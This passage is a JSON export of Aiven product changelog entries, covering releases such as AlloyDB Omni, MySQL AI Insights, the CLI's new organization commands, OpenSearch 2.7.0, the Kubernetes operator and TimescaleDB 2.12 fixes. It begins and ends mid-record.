deployments"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cbea7eccf34c","_type":"block","children":[{"_key":"4056f952fd300","_type":"span","marks":[],"text":"High-traffic web applications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6ed5ad5e8b06","_type":"block","children":[{"_key":"404ac396fe2a0","_type":"span","marks":[],"text":"Real-time analytics and dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7eb6d10feed5","_type":"block","children":[{"_key":"487740c34d050","_type":"span","marks":[],"text":"Machine learning and AI applications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"67f2244c45d6","_type":"block","children":[{"_key":"1748614b49710","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni is in the "},{"_key":"1748614b49711","_type":"span","marks":["f8b888c94cb7"],"text":"early availability"},{"_key":"1748614b49712","_type":"span","marks":[],"text":" stage. You can easily share feedback on your Aiven for AlloyDB Omni experience in the "},{"_key":"1748614b49713","_type":"span","marks":["a7d6793af245"],"text":"Aiven Console"},{"_key":"1748614b49714","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f8b888c94cb7","_type":"link","href":"https://aiven.io/docs/platform/concepts/beta_services#early-availability-"},{"_key":"a7d6793af245","_type":"link","href":"https://console.aiven.io"}],"style":"normal"},{"_key":"813840e0ca01","_type":"block","children":[{"_key":"f4ce35ca57f90","_type":"span","marks":[],"text":"See the "},{"_key":"f4ce35ca57f91","_type":"span","marks":["003f568d38bd"],"text":"Aiven for AlloyDB Omni documentation"},{"_key":"f4ce35ca57f92","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"003f568d38bd","_type":"link","href":"https://aiven.io/docs/products/alloydbomni"}],"style":"normal"}],"publishedAt":"2024-10-02T13:41:00.000Z","tags":[{"_key":"7128cb760b2e","_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"service"}],"title":"Introducing Aiven for AlloyDB Omni"} {"__i18n_lang":"en","_createdAt":"2025-01-09T13:50:18Z","_id":"90c35ac9-21d3-44a0-9c0c-8b238be77060","_rev":"w5Y1buu43ZclY4xZaEApzO","_type":"changelog","_updatedAt":"2025-01-13T09:46:44Z","changeType":"new","description":[{"_key":"60d7e4c58717","_type":"block","children":[{"_key":"ca4d3f528a440","_type":"span","marks":[],"text":"Aiven's "},{"_key":"ca4d3f528a441","_type":"span","marks":["strong"],"text":"AI Insights"},{"_key":"ca4d3f528a442","_type":"span","marks":[],"text":" feature for "},{"_key":"ca4d3f528a443","_type":"span","marks":["em"],"text":"Aiven for MySQL"},{"_key":"ca4d3f528a444","_type":"span","marks":["strong","em"],"text":"®"},{"_key":"ca4d3f528a445","_type":"span","marks":[],"text":" monitors database performance to identify slow queries."}],"markDefs":[],"style":"normal"},{"_key":"9c2a7f2a0621","_type":"block","children":[{"_key":"f28abf53df97","_type":"span","marks":[],"text":"It delivers actionable insights and optimization recommendations, including query rewrites, index creation or removal suggestions, and more—helping you maintain peak database performance."}],"markDefs":[],"style":"normal"},{"_key":"eea134602be9","_type":"block","children":[{"_key":"69179cdca4f9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c01c4ae741e9","_type":"block","children":[{"_key":"c3d3318092e7","_type":"span","marks":[],"text":"Learn more in our "},{"_key":"bdf34c91689a","_type":"span","marks":["87620845d60e"],"text":"documentation"},{"_key":"d75ed2f80bf5","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"87620845d60e","_type":"link","href":"https://aiven.io/docs/products/mysql/howto/ai-insights"}],"style":"normal"}],"publishedAt":"2025-01-09T13:43:36.003Z","tags":[{"_key":"075a85dae867","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"AI-powered performance insights for Aiven for MySQL"} {"__i18n_lang":"en","_createdAt":"2023-07-21T14:51:41Z","_id":"e21a4bdb-f930-4f61-b50a-e2d0e6c22d95","_rev":"LX2G4IZzKdBcRydHgpuNv2","_type":"changelog","_updatedAt":"2023-08-01T07:36:11Z","changeType":"new","description":[{"_key":"28973070362c","_type":"block","children":[{"_key":"b9e0f7272e1e0","_type":"span","marks":[],"text":"Version 3.0.0 of the Aiven command line interface (CLI) now supports organizations with these new commands:"}],"markDefs":[],"style":"normal"},{"_key":"bebcff1ff2e1","_type":"block","children":[{"_key":"7f2048cf772e0","_type":"span","marks":[],"text":"Organizations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bc21f86c6066","_type":"block","children":[{"_key":"2298fd6bf1640","_type":"span","marks":["code"],"text":"avn organization create"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d255f33a9992","_type":"block","children":[{"_key":"5bc0cc65728e","_type":"span","marks":["code"],"text":"avn organization list"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"98d76ac38d1a","_type":"block","children":[{"_key":"626f88d5cb48","_type":"span","marks":["code"],"text":"avn organization update"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bc7705a2ab40","_type":"block","children":[{"_key":"9e816283cd29","_type":"span","marks":["code"],"text":"avn organization delete"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1c069c42a748","_type":"block","children":[{"_key":"d1b73a3dfc9b0","_type":"span","marks":[],"text":"Organization users"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db1f7d08fdba","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-org-users"}],"style":"normal"},{"_key":"a4d78ae51ac3","_type":"block","children":[{"_key":"0c2303727be1","_type":"span","marks":["code"],"text":"avn organization user invite"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a47e3e54bd9f","_type":"block","children":[{"_key":"b17f3e05fbd2","_type":"span","marks":["code"],"text":"avn organization user list"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0bf9f5c1c27a","_type":"block","children":[{"_key":"186a37d69850","_type":"span","marks":[],"text":"Payment cards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c40bbf98f9f4","_type":"block","children":[{"_key":"0e40ed5d4d37","_type":"span","marks":["code"],"text":"avn organization card create"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7d0b5d10bebd","_type":"block","children":[{"_key":"c96b0ed9c299","_type":"span","marks":["code"],"text":"avn organization card list"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"da8fcbcda5da","_type":"block","children":[{"_key":"66b3edfdb02b","_type":"span","marks":["code"],"text":"avn organization card delete"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb3e7b3cc8a4","_type":"block","children":[{"_key":"3633379f776d0","_type":"span","marks":[],"text":"The "},{"_key":"8f2d071f70da","_type":"span","marks":["code"],"text":"avn card"},{"_key":"ef7432a015cf","_type":"span","marks":[],"text":" commands are deprecated and will be removed in the next major version."}],"markDefs":[],"style":"normal"},{"_key":"04af944d00ab","_type":"block","children":[{"_key":"4a6026731b590","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f6fecc23db7f","_type":"block","children":[{"_key":"517a855f6dec","_type":"span","marks":[],"text":"There are also important changes to the "},{"_key":"367a8249a759","_type":"span","marks":["code"],"text":"avn project create"},{"_key":"246c0a3668b1","_type":"span","marks":[],"text":" command:"}],"markDefs":[],"style":"normal"},{"_key":"892786a144dc","_type":"block","children":[{"_key":"ef8927fec2ac0","_type":"span","marks":[],"text":"Added "},{"_key":"a4ff545c2a2b","_type":"span","marks":["code"],"text":"--parent-id"},{"_key":"3a53990c7893","_type":"span","marks":[],"text":", which takes the organization ID or account ID. This will be mandatory in the next major version."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4ec1aa3c9fdb","_type":"block","children":[{"_key":"abb588a8a834","_type":"span","marks":[],"text":"Deprecated the billing information parameters since these are now used with "},{"_key":"f4965c83293b","_type":"span","marks":["code"],"text":"avn billing-group"},{"_key":"9f7119e4767d","_type":"span","marks":[],"text":". These will be removed in the next major version:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"50e3517bda12","_type":"block","children":[{"_key":"56e289d0b882","_type":"span","marks":["code"],"text":"--country-code"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7d0675236a8","_type":"block","children":[{"_key":"1d4a41c48958","_type":"span","marks":["code"],"text":"--billing-address"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e429adca45a6","_type":"block","children":[{"_key":"612e23cc2b98","_type":"span","marks":["code"],"text":"--billing-extra-text"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c5a08e7e94ee","_type":"block","children":[{"_key":"f267258fa648","_type":"span","marks":["code"],"text":"--billing-currency"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2542dcf98a7","_type":"block","children":[{"_key":"af2a25c81de7","_type":"span","marks":["code"],"text":"--vat-id VAT_ID"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4023a0eb024d","_type":"block","children":[{"_key":"57a4d5ff55a2","_type":"span","marks":["code"],"text":"--billing-email"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"81b1092c2236","_type":"block","children":[{"_key":"0f67fe38eab10","_type":"span","marks":[],"text":"Check out our documentation to "},{"_key":"0f67fe38eab11","_type":"span","marks":["e95e8c0d9a64"],"text":"learn more about organizations"},{"_key":"3e11a5d28d05","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e95e8c0d9a64","_type":"link","href":"https://docs.aiven.io/docs/tools/aiven-console/howto/create-accounts"}],"style":"normal"}],"publishedAt":"2023-08-01T07:25:44.541Z","tags":[{"_key":"efda2fa49161","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Organizations are now supported in Aiven Client"} {"__i18n_lang":"en","_createdAt":"2023-05-24T13:14:37Z","_id":"830e47c9-5009-4b49-8e42-91e87c39cf1a","_rev":"Bg5HPBiLdZofLBzDDlmBvs","_type":"changelog","_updatedAt":"2023-05-24T13:14:37Z","changeType":"new","description":[{"_key":"8e055da0ea9a","_type":"block","children":[{"_key":"bd4914c65ed40","_type":"span","marks":[],"text":"We are excited to announce that OpenSearch® 2.7.0 is now available on the Aiven platform for Aiven for OpenSearch® service. This update includes a number of new features, improvements, and bug fixes designed to enhance your experience and provide more powerful tools for data management and analysis."}],"markDefs":[],"style":"normal"},{"_key":"d176c58347ee","_type":"block","children":[{"_key":"e99929a708180","_type":"span","marks":["strong"],"text":"Updated OpenSearch reporting plugin engine"},{"_key":"e99929a708181","_type":"span","marks":[],"text":": The OpenSearch reporting plugin engine has been updated to enhance the accuracy and efficiency of data reporting."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"810c11dc67db","_type":"block","children":[{"_key":"06210fbc38820","_type":"span","marks":["strong"],"text":"CRUD operations on indices with OpenSearch Dashboards"},{"_key":"06210fbc38821","_type":"span","marks":[],"text":": You can now create, read, update, and delete (CRUD) operations on indices directly through OpenSearch Dashboards. This gives you more control over your data management in one convenient location."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0a099d6505ed","_type":"block","children":[{"_key":"89f49380e2d10","_type":"span","marks":["strong"],"text":"Jaeger data source for Dashboards observability feature"},{"_key":"89f49380e2d11","_type":"span","marks":[],"text":": Jaeger has been introduced as a new data source in your OpenSearch Dashboards. You can now monitor and troubleshoot transactions in complex distributed systems using this powerful distributed tracing system."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"828aa54dd804","_type":"block","children":[{"_key":"9eead7d2bc740","_type":"span","marks":["strong"],"text":"Enhancements to OpenSearch Dashboards maps:"},{"_key":"9eead7d2bc741","_type":"span","marks":[],"text":" There have been substantial enhancements to the OpenSearch Dashboards maps feature. You can now benefit from improved geospatial data visualization, more layer types, and better performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"008996d6cad0","_type":"block","children":[{"_key":"49e8f6ebe5740","_type":"span","marks":["strong"],"text":"Bug fixes and general improvements:"},{"_key":"49e8f6ebe5741","_type":"span","marks":[],"text":" Addressed various bugs and made general improvements across OpenSearch, Dashboards, and plugins. These fixes and enhancements aim to provide a smoother and more reliable experience while using OpenSearch on the Aiven platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e0d1b4f5b3e","_type":"block","children":[{"_key":"71b455cda2c00","_type":"span","marks":[],"text":"To learn more, see "},{"_key":"71b455cda2c01","_type":"span","marks":["0f68a81932b3"],"text":"OpenSearch and OpenSearch Dashboards 2.7.0 Release Notes"},{"_key":"71b455cda2c02","_type":"span","marks":[],"text":". For information on Aiven for OpenSearch, see the "},{"_key":"71b455cda2c03","_type":"span","marks":["fb24703949e5"],"text":"documentation"},{"_key":"71b455cda2c04","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"0f68a81932b3","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.7.0.md"},{"_key":"fb24703949e5","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch"}],"style":"normal"}],"publishedAt":"2023-05-24T13:10:00.000Z","tags":[{"_key":"656458320bd6","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch® 2.7.0 is now available on Aiven "} {"__i18n_lang":"en","_createdAt":"2023-02-24T12:07:41Z","_id":"9d75fd2d-7e28-4927-bc06-daf3f0fa9204","_rev":"RPrb1lUomNmwPKpXXCGDtu","_type":"changelog","_updatedAt":"2023-04-18T08:46:32Z","changeType":"new","description":[{"_key":"871af38719c7","_type":"block","children":[{"_key":"e989701663570","_type":"span","marks":[],"text":"The latest version features updated user configs, CRD validations rules, and improved stability. It also offers support for read-only replicas and ARM64."}],"markDefs":[],"style":"normal"},{"_key":"321712df1749","_type":"block","children":[{"_key":"343ce97fe743","_type":"span","marks":[],"text":"In addition, support for service integrations have been added for:"}],"markDefs":[],"style":"normal"},{"_key":"a4e2e2dcb81a","_type":"block","children":[{"_key":"6590f9ca671b","_type":"span","marks":[],"text":"ClickHouse and PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e9bc36ded9a0","_type":"block","children":[{"_key":"387b4c588911","_type":"span","marks":[],"text":"ClickHouse and Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45fa2cec3535","_type":"block","children":[{"_key":"04600d82335c","_type":"span","marks":[],"text":"AWS CloudWatch"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4ec3404fd469","_type":"block","children":[{"_key":"bc9289f36b56","_type":"span","marks":[],"text":"There are two notable changes for Kafka-specific configuration: min_cleanable_dirty_ratio and metadata.name."}],"markDefs":[],"style":"normal"},{"_key":"744ed6e815ef","_type":"block","children":[{"_key":"bb6290738773","_type":"span","marks":[],"text":"You can now set the min_cleanable_dirty_ratio Kafka topic configuration parameter with Aiven Operator for Kubernetes. This lets you control how frequently the log compactor cleans the log."}],"markDefs":[],"style":"normal"},{"_key":"df303d931e14","_type":"block","children":[{"_key":"c4ad230d64f0","_type":"span","marks":[],"text":"The metadata.name field is being replaced by the new KafkaTopic.Spec.topicName field. The new field supports additional characters and longer names. It will be required in a future release."}],"markDefs":[],"style":"normal"},{"_key":"5707f52a0034","_type":"block","children":[{"_key":"0256fd8fe81d","_type":"span","marks":[],"text":"The "},{"_key":"dbc0d0a93161","_type":"span","marks":["cd4c34f5f2c9"],"text":"documentation"},{"_key":"922ab3e67b49","_type":"span","marks":[],"text":" has also been overhauled to provide a better experience. Check it out for more information on the new features."}],"markDefs":[{"_key":"cd4c34f5f2c9","_type":"link","href":"https://aiven.github.io/aiven-operator/"}],"style":"normal"}],"publishedAt":"2023-03-03T14:01:00.000Z","tags":[{"_key":"c235d4b166f9","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.9.0 now available"} {"__i18n_lang":"en","_createdAt":"2023-09-27T12:34:36Z","_id":"5aea4bc7-5552-4d29-9b98-99387d59041b","_rev":"URGvS4Je6KJVSLklv6kvGD","_type":"changelog","_updatedAt":"2023-11-01T09:20:50Z","changeType":"improved","description":[{"_key":"0281890f9d87","_type":"block","children":[{"_key":"d6915b504adb","_type":"span","marks":[],"text":"TimescaleDB extension versions 2.12.0 and 2.12.1 are now available for Aiven for PostgreSQL®. They introduce new features and bug fixes on top of release 2.11.2.\n"}],"markDefs":[],"style":"normal"},{"_key":"42423de4414e","_type":"block","children":[{"_key":"e50fef1ac037","_type":"span","marks":["strong"],"text":"Features"}],"markDefs":[],"style":"normal"},{"_key":"1ccbef9655fb","_type":"block","children":[{"_key":"da766146aad90","_type":"span","marks":["4591d52a3a08"],"text":"Insert into index during chunk compression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4591d52a3a08","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5137"}],"style":"normal"},{"_key":"067e29d464a2","_type":"block","children":[{"_key":"09f0478718ca0","_type":"span","marks":["8f7824f0f180"],"text":"MERGE support on hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8f7824f0f180","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5150"}],"style":"normal"},{"_key":"78b466f101b2","_type":"block","children":[{"_key":"1bc335df74260","_type":"span","marks":["8077fea8d02b"],"text":"Make hypertables support replica identity"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8077fea8d02b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5515"}],"style":"normal"},{"_key":"1be2c048421b","_type":"block","children":[{"_key":"5f23920e15920","_type":"span","marks":["415d69fce898"],"text":"Index scan support during UPDATE/DELETE on compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"415d69fce898","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5586"}],"style":"normal"},{"_key":"bca76be03edd","_type":"block","children":[{"_key":"02e58bba74450","_type":"span","marks":["2682c15419d1"],"text":"Support for partial aggregations at chunk level"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2682c15419d1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5596"}],"style":"normal"},{"_key":"f07217a0ef1d","_type":"block","children":[{"_key":"f195889e3a240","_type":"span","marks":["e2f1b0aa77fe"],"text":"Enable ChunkAppend for partially compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e2f1b0aa77fe","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5599"}],"style":"normal"},{"_key":"6b914436b4ee","_type":"block","children":[{"_key":"27baf22bac630","_type":"span","marks":["47c61ecebf9b"],"text":"Improve the number of parallel workers for decompression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"47c61ecebf9b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5655"}],"style":"normal"},{"_key":"649b2facb14e","_type":"block","children":[{"_key":"338016ea93180","_type":"span","marks":["9118c00211a3"],"text":"Enable altering job schedule type through alter_job"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9118c00211a3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5758"}],"style":"normal"},{"_key":"0019d7c3bbad","_type":"block","children":[{"_key":"92a37e143bc40","_type":"span","marks":["47c71b77dfa8"],"text":"Make logrepl markers for (partial) decompressions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"47c71b77dfa8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5805"}],"style":"normal"},{"_key":"1ce8ffbf05f1","_type":"block","children":[{"_key":"7a7e872a751b0","_type":"span","marks":["86bb20c5bba5"],"text":"Relax invalidation threshold table-level lock to row-level when refreshing a Continuous Aggregate"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"86bb20c5bba5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5809"}],"style":"normal"},{"_key":"8e0799128ed1","_type":"block","children":[{"_key":"bae99b68ac640","_type":"span","marks":["b1181afee49e"],"text":"Support CAgg names in chunk_detailed_size"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b1181afee49e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5839"}],"style":"normal"},{"_key":"3a983983c1e1","_type":"block","children":[{"_key":"17d69a75c91d0","_type":"span","marks":["b3af4d3b650a"],"text":"Make set_chunk_time_interval CAggs aware"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b3af4d3b650a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5852"}],"style":"normal"},{"_key":"0ae72da5d48d","_type":"block","children":[{"_key":"3ac7a46bc1070","_type":"span","marks":["cf2624358971"],"text":"Allow ALTER TABLE ... REPLICA IDENTITY (FULL|INDEX) on materialized hypertables (continuous aggregates)"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cf2624358971","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5868"}],"style":"normal"},{"_key":"4fb823a434ab","_type":"block","children":[{"_key":"9b1cca46a0c50","_type":"span","marks":["25d811cd852b"],"text":"Add job exit status and runtime to log"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"25d811cd852b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5875"}],"style":"normal"},{"_key":"386db0ee12ab","_type":"block","children":[{"_key":"770985d0ede80","_type":"span","marks":["178804ec3901"],"text":"CREATE INDEX ONLY ON hypertable creates index on chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"178804ec3901","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5909"}],"style":"normal"},{"_key":"43eecd52853f","_type":"block","children":[{"_key":"3f0926f4ae140","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"39c34a6323f2","_type":"block","children":[{"_key":"25dceba8fff80","_type":"span","marks":["589640800337"],"text":"Fix planner distributed table count"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"589640800337","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6113"}],"style":"normal"},{"_key":"268941b06c58","_type":"block","children":[{"_key":"a48173d65f2f0","_type":"span","marks":["32119bd7920b"],"text":"Avoid decompressing batches using an empty slot"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"32119bd7920b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6117"}],"style":"normal"},{"_key":"5896ade2567d","_type":"block","children":[{"_key":"5e24b4d38ac80","_type":"span","marks":["5271f5d5d800"],"text":"Fix concurrency errors in OSM API"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5271f5d5d800","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6123"}],"style":"normal"},{"_key":"54326cf9cc90","_type":"block","children":[{"_key":"ef7db347856d0","_type":"span","marks":["2e89ccddb17a"],"text":"Do not throw an error when deprecation GUC cannot be read"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2e89ccddb17a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6142"}],"style":"normal"},{"_key":"b902a48ae01a","_type":"block","children":[{"_key":"6217b923e300","_type":"span","marks":["f4389c9e5422"],"text":"Fix interval calculation for hierarchical CAggs"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f4389c9e5422","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5860"}],"style":"normal"},{"_key":"af64d1fc8303","_type":"block","children":[{"_key":"ed2f0635af9b0","_type":"span","marks":["80e91394eea4"],"text":"Check unique indexes when enabling compression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"80e91394eea4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5894"}],"style":"normal"},{"_key":"ff2cbb8b1c5b","_type":"block","children":[{"_key":"a995c732bd340","_type":"span","marks":["6c379fdd674e"],"text":"_timescaledb_internal.create_compressed_chunk doesn't account for existing uncompressed rows"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6c379fdd674e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5951"}],"style":"normal"},{"_key":"3f645c0f0a5e","_type":"block","children":[{"_key":"a714d5d8e0d90","_type":"span","marks":["88302d9b0af0"],"text":"Move functions to _timescaledb_functions schema"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"88302d9b0af0","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5988"}],"style":"normal"},{"_key":"9480fde02e38","_type":"block","children":[{"_key":"970385cef3c60","_type":"span","marks":["45734e6c8045"],"text":"Chunk_create must add an existing table or fail"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"45734e6c8045","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5788"}],"style":"normal"},{"_key":"42698e9b55a7","_type":"block","children":[{"_key":"b0927f5a80ac0","_type":"span","marks":["03b6dc0fb4b1"],"text":"Fix duplicates on partially compressed chunk reads"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"03b6dc0fb4b1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5872"}],"style":"normal"},{"_key":"38f54ad757a8","_type":"block","children":[{"_key":"cb1fac837fec0","_type":"span","marks":["de83eacd7251"],"text":"Fix crash in COPY from program returning error"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"de83eacd7251","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5918"}],"style":"normal"},{"_key":"9cd0a92e794c","_type":"block","children":[{"_key":"7a3653e8900f0","_type":"span","marks":["effb51f658b1"],"text":"Place data in first/last function in correct mctx"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"effb51f658b1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5990"}],"style":"normal"},{"_key":"4edada2fc350","_type":"block","children":[{"_key":"5758077e2cc50","_type":"span","marks":["d9a9a00b64ac"],"text":"Call eq_func correctly in time_bucket_gapfill"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9a9a00b64ac","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5991"}],"style":"normal"},{"_key":"bc1a7bbc8497","_type":"block","children":[{"_key":"e31882d9594f0","_type":"span","marks":["68476b8c20df"],"text":"Correct row count in EXPLAIN ANALYZE INSERT .. ON CONFLICT output"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"68476b8c20df","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6015"}],"style":"normal"},{"_key":"10610967b74c","_type":"block","children":[{"_key":"34ee0bf25e240","_type":"span","marks":["34545cd54e64"],"text":"Fix server crash on UPDATE of compressed chunk"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"34545cd54e64","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6035"}],"style":"normal"},{"_key":"0899a262b8e9","_type":"block","children":[{"_key":"fbb47a3633a90","_type":"span","marks":["96bdde90360a"],"text":"Fix server crash when using duplicate segmentby column"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"96bdde90360a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6044"}],"style":"normal"},{"_key":"8253d4770b55","_type":"block","children":[{"_key":"55973c52ad310","_type":"span","marks":["8b6f42e2b4c6"],"text":"Fix segfault in set_integer_now_func"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8b6f42e2b4c6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6045"}],"style":"normal"},{"_key":"a96cdf29231a","_type":"block","children":[{"_key":"b88ecde197420","_type":"span","marks":["f17fc57c6986"],"text":"Fix approximate_row_count for CAggs"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f17fc57c6986","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6053"}],"style":"normal"},{"_key":"d68ff1217c3b","_type":"block","children":[{"_key":"14fee4e25c8c0","_type":"span","marks":["acccaa9075d2"],"text":"Improve compressed DML datatype handling"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"acccaa9075d2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6081"}],"style":"normal"},{"_key":"4ab8c9e441f8","_type":"block","children":[{"_key":"bc6db3cc3b3e0","_type":"span","marks":["e7560a12378c"],"text":"Propagate parameter changes to decompress child nodes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e7560a12378c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6084"}],"style":"normal"},{"_key":"24637cede72d","_type":"block","children":[{"_key":"cc1cf2c8371b0","_type":"span","marks":["ef6186c6d318"],"text":"Schedule compression policy more often"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ef6186c6d318","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6102"}],"style":"normal"}],"publishedAt":"2023-11-01T09:20:00.000Z","tags":[{"_key":"0811fce2498c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extensions 2.12.0 and 2.12.1 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2023-05-17T15:23:14Z","_id":"0d32d875-d8c7-425e-9475-568c326432e8","_rev":"Bg5HPBiLdZofLBzDDv6nnJ","_type":"changelog","_updatedAt":"2023-05-25T08:03:24Z","changeType":"improved","description":[{"_key":"b96c2f11eed5","_type":"block","children":[{"_key":"8b550d2e2f0d0","_type":"span","marks":[],"text":"It’s now easier to see all of the organizations you belong to. "}],"markDefs":[],"style":"normal"},{"_key":"ddd885432f65","_type":"block","children":[{"_key":"a6c4751dfbde","_type":"span","marks":[],"text":"In your user profile, the new organizations tab has a list of all of your organizations. The create organization button has also moved from the organizations drop-down menu to the user profile."}],"markDefs":[],"style":"normal"},{"_key":"1c105d561d50","_type":"block","children":[{"_key":"264e3d7c3233","_type":"span","marks":[],"text":"Check out the documentation to learn more about 